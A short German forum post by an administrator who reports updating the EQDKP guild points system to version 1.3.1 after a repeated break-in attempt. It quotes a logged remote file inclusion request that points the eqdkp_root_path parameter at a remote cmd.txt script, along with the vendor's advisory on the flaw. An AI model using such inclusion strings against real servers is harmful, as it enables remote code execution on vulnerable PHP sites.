EQDKP update auf 1.3.1 done ....

  • .. da heute schon wieder ein Hackversuch aufs EQDKP stattfand, hab ich mich mal informiert und erfahren, das es seit dem 8.5 nen Security Fix gibt.


    Hackversuch war übrigends wieder vom gleichen wie letztes mal, aber wieder erfolglos :)


    Code
    HTTP_REFERER=http://hazzel.net/hosted_sites/sg_set/includes/dbal.php?eqdkp_root_path=http://geocities.com/perciuni_muie/cmd.txt?


    ... jedenfalls laufen die DKPs jetz auf 1.3.1


    Backups der HTML/PHP Daten sind von den 1.3.0 vorhanden (Stand: 31.5 12:15), falls irgendwas schiefgelaufen sein sollte.


    Also.. an alle die, welche das Recht haben im EQDKP Einträge zu tätigen, schaut das alles funzt und falls ned... bei mir melden... Cheers !


    Zitat

    A security vulnerability was recently discovered in all current versions of EQdkp that could allow remote code inclusion on specific server configurations, if register_globals is enabled.